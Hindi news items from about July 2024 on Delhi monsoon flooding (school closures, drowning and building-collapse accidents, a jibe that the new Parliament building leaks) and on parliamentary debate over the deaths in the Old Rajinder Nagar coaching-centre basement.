सपा प्रमुख अखिलेश यादव ने ट्विटर पर एक वीडियो जारी करते हुए लिखा, 'इस नई संसद से अच्छी तो वो पुरानी संसद थी, जहां पुराने सांसद भी आकर मिल सकते थे। क्यों न फिर से पुरानी संसद चलें, कम-से-कम तब तक के लिए, जब तक अरबों रुपयों से बनी संसद में पानी टपकने का कार्यक्रम चल रहा है। जनता पूछ रही है कि भाजपा सरकार में बनी हर नई छत से पानी टपकना, उनकी सोच-समझकर बनायी गयी डिज़ाइन का हिस्सा होता है या फिर…।'

भारी बारिश के कारण शहर में बृहस्पतिवार को सभी स्कूल बंद

गौर हो कि दिल्ली की शिक्षा मंत्री आतिशी ने घोषणा की कि भारी बारिश के कारण शहर में बृहस्पतिवार को सभी स्कूल बंद रहेंगे। मंत्री ने ‘एक्स’ पर एक पोस्ट में कहा, 'आज शाम हुई बहुत भारी बारिश और कल भारी बारिश के पूर्वानुमान के मद्देनजर सभी सरकारी और निजी स्कूल एक अगस्त को बंद रहेंगे।'

दिल्ली में बारिश से सामने आए हादसे

वहीं पूर्वी दिल्ली के गाजीपुर इलाके में 22 वर्षीय महिला और उसका बच्चा पानी से भरे नाले में डूब गए। भारी बारिश के कारण सड़क पानी से भरी हुई थी, इस कारण सड़क और नाले का अंदाजा न लगने के कारण यह हादसा हुआ वहीं दिल्ली में बुधवार को भारी बारिश के चलते सब्जी मंडी इलाके में एक मकान गिर पड़ा। बचाव दल ने मलबे से एक व्यक्ति को निकालकर अस्पताल भेजा। वसंत कुंज में दीवार गिरने से एक महिला घायल हो गई। वहीं दरियागंज में एक स्कूल की दीवार बाहर खड़ी गाड़ियों पर गिर गई। बारिश से दिल्ली के कई इलाकों में पानी भर गया।

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संसद में गूंजा दिल्ली कोचिंग हादसे का मुद्दा, थरूर बोले- यह शर्मनाक घटना https://pratyushaashakinayikiran.com/?p=55442 Mon, 29 Jul 2024 13:25:00 +0000 https://pratyushaashakinayikiran.com/?p=55442 नई दिल्ली.

संसद के मानसून सत्र का आज नौंवां दिन है। संसद में आज दिल्ली कोचिंग हादसे का मुद्दा उठा। संसद के दोनों सदनों में इस मुद्दे पर चर्चा की मांग की गई। वहीं लोकसभा में विपक्ष के नेता राहुल गांधी आज केंद्रीय बजट 2024 पर बोल सकते हैं। राज्यसभा में दिल्ली कोचिंग हादसे पर चर्चा की मांग की गई है। उपराष्ट्रपति और राज्यसभा के सभापति जगदीप धनखड़ ने कहा, 'मुझे नियम 267 के तहत नोटिस मिले हैं…उन्होंने अधिकारियों की लापरवाही के कारण दिल्ली में यूपीएससी उम्मीदवारों की दुखद मौत पर चर्चा की मांग की है।

मुझे लगता है कि देश के युवा जनसांख्यिकीय लाभांश को पोषित किया जाना चाहिए। आज कोचिंग व्यापार बन गई है। जब भी हम कोई समाचार पत्र पढ़ते हैं, तो पहले एक या दो पृष्ठ उनके विज्ञापनों के ही होते हैं।' राज्यसभा ने सोमवार को उच्च सदन के पूर्व सदस्य प्रभात झा के निधन पर शोक जताया और सदस्यों ने उनके सम्मान में कुछ देर का मौन रखा। सदन की कार्यवाही आरंभ होते ही सभापति जगदीप धनखड़ ने प्रभात झा के निधन का उल्लेख करते हुए पत्रकारिता के क्षेत्र में उनके योगदान की सराहना की और कहा कि उनके लेखों में आम आदमी की चिंता झलकती थी। उन्होंने कहा, 'उनके निधन से देश ने एक शानदार लेखक, पत्रकार और योग्य सांसद खो दिया।' इसके बाद सदस्यों ने कुछ देर मौन रहकर झा को श्रद्धांजलि दी। प्रभात झा का गत शुक्रवार सुबह गुरुग्राम के एक अस्पताल में निधन हो गया था। वह 67 वर्ष के थे और पिछले कुछ समय से बीमार थे। दिल्ली कोचिंग हादसे का मामला आज लोकसभा में भी उठा। कांग्रेस सांसद शशि थरूर ने घटना के दोषियों पर कार्रवाई की मांग की है। उन्होंने कहा कि 'यह शर्मनाक घटना है। युवाओं का सपना बिखर गया और उनके परिजनों को भी सदमा लगा है। यह देश के लिए बेहद दुख की बात है। जब जीवन चला गया तो क्या कदम उठाए जा सकते हैं? पीड़ितों को मुआवजा मिलना चाहिए और यह सुनिश्चित किया जाना चाहिए कि ऐसी घटना फिर न हो और किसी को ये दुख न झेलना पड़े।' लोकसभा में आज मनु भाकर के ओलंपिक मेडल जीतने पर बधाई दी गई। मनु भाकर ने रविवार को 10 मीटर एयर पिस्टल इवेंट में कांस्य पदक जीतकर देश को गौरवान्वित किया। लोकसभा में दिल्ली कोचिंग हादसे का मुद्दा उठा। कांग्रेस सांसद शशि थरूर ने घटना पर दुख जताया और कहा कि यह पूरे देश के लिए दुख की बात है।

कांग्रेस सांसद ने दिल्ली हादसे को लेकर इंफ्रास्ट्रक्चर पर उठाए सवाल
कांग्रेस सांसद मणिकम टैगोर कहते हैं, 'दिल्ली में सिविल सेवा के तीन उम्मीदवारों की मौत हो गई। कुछ दिन पहले दिल्ली एयरपोर्ट पर इंफ्रास्ट्रक्चर से जुड़ी एक घटना हुई थी और वहां एक ड्राइवर की मौत हो गई थी। दिल्ली में एक के बाद एक प्रोजेक्ट और इंफ्रास्ट्रक्चर से जुड़ी विफलताएं सामने आ रही हैं। कुछ जवाबदेही होनी चाहिए। मैंने इस पर चर्चा के लिए संसद में स्थगन प्रस्ताव दिया है, हमें तुच्छ राजनीति में नहीं पड़ना चाहिए, हमें राष्ट्रीय राजधानी के लिए समाधान खोजने के बारे में सोचना चाहिए और मुझे उम्मीद है कि दिल्ली में इस तरह की समस्याओं के समाधान खोजने में अन्य सदस्य भी मुझसे सहमत होंगे।'

शिवसेना यूबीटी नेता ने दिल्ली हादसे पर सरकार को घेरा
शिवसेना (यूबीटी) नेता प्रियंका चतुर्वेदी ने कहा कि, 'बजट से जुड़े कई मुद्दे हैं – जिस तरह से कर निर्धारण का फैसला किया गया है, उससे आम लोगों पर अधिक बोझ पड़ा है, महंगाई से कोई राहत नहीं मिली है। बेरोजगारी के मुद्दे पर ध्यान नहीं दिया गया है और जिस तरह से बुनियादी ढांचे को तबाह किया जा रहा है – जैसा कि ओल्ड राजेंद्र नगर में हुआ – बेसमेंट में पानी भर जाने से 3 छात्रों की जान चली गई। मैं कहूंगी कि यह मौत नहीं बल्कि हत्या है और यह बहुत दुर्भाग्यपूर्ण है। हम बजटीय भाषणों के दौरान उन सभी मुद्दों को उठाएंगे। उन्हें (कोचिंग संस्थान को) जवाबदेह ठहराया जाना चाहिए, लेकिन इसके लिए जिम्मेदार अधिकारियों और एमसीडी के लोगों का क्या? इस मुद्दे पर भाजपा जो गंदी राजनीति कर रही है, वह दुर्भाग्यपूर्ण है, एलजी से लेकर सभी स्तरों पर जवाबदेही तय की जानी चाहिए।'

जम्मू और कश्मीर विनियोग विधेयक 2024 पेश करेंगी वित्त मंत्री
केंद्रीय वित्त मंत्री निर्मला सीतारमण सोमवार को लोकसभा में जम्मू और कश्मीर विनियोग विधेयक 2024 पेश करेंगी। बताया गया है कि 'निर्मला सीतारमण वित्तीय वर्ष 2024-25 की सेवाओं के लिए केंद्र शासित प्रदेश जम्मू और कश्मीर की समेकित निधि से कुछ राशियों के भुगतान और विनियोग को अधिकृत करने के लिए, साथ ही बिल पेश करने और आगे बढ़ाने के लिए अनुमति देंगी।'

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